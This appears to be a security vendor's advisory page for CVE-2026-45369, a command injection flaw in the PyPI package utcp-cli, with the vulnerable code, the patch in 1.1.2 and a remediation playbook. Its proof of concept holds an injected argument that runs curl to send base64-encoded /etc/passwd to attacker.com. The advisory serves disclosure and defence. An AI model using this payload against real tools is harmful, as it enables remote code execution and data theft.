NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
CRITICAL severity

CVE-2026-45369 — utcp-cli

CRITICAL

CVE-2026-45369 is a critical-severity (CVSS 10) OS Command Injection vulnerability in utcp-cli. A fix is available for utcp-cli — see the affected versions and patch details below.

utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol

Also known asPYSEC-2026-560
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 8, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-45369.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs25th percentile — riskier than 25% of all scored CVEsHighest risk
0.00%0.28%0.57%0.85%0.0%0.3%Jun 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍utcp-cli

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands.

Affected File

plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py

Vulnerable Code

def replace_placeholder(match):
    arg_name = match.group(1)
    if arg_name in tool_args:
        return str(tool_args[arg_name])  # No escaping applied

The substituted command is then embedded directly into a shell script:

script_lines.append(f'{var_name}=$({substituted_command} 2>&1)')

And executed via:

shell_cmd = ['/bin/bash', '-c', script]

Proof of Concept

Given a tool defined as:

{"command": "python script.py --input UTCP_ARG_filename_UTCP_END"}

Calling with:

tool_args = {"filename": "data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)"}

Produces and executes:

CMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2>&1)

This results in full Remote Code Execution on the host system.

Patched

Fixed in utcp-cli 1.1.2. _substitute_utcp_args now shell-quotes every substituted value: shlex.quote on Unix, a PowerShell single-quoted literal on Windows. Each UTCP_ARG_..._UTCP_END placeholder therefore expands to exactly one shell token, blocking metacharacter injection (;, |, &, backticks, $(), newlines).

Behavior change: tools that relied on a single placeholder splitting into multiple shell tokens (e.g. UTCP_ARG_flags_UTCP_END -> --verbose --debug) must now use one placeholder per intended argument.

Mitigation

Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of refusing all attacker-controlled tool_args.

Credit

Reported by @ZeroXJacks.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIutcp-cliall versions1.1.2pip install --upgrade 'utcp-cli==1.1.2'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for utcp-cli, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update utcp-cli to 1.1.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-45369 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

## Summary The `_substitute_utcp_args` method in `cli_communication_protocol.py` inserts user-controlled `tool_args` values directly into shell command strings without any sanitization or escaping. These commands are then executed via `/bin/bash -c` (Unix) or `powershell.exe -Command` (Windows), allowing an attacker to inject arbitrary shell commands. ## Affected File `plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py` ## Vulnerable Code ```python def replace_placeholder(match): arg_name = match.group(1) if arg_name in tool_args: return str(too
O3 Security · Impact-Aware SCA

Is CVE-2026-45369 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-45369: utcp-cli RCE — Fixed in 1.1.2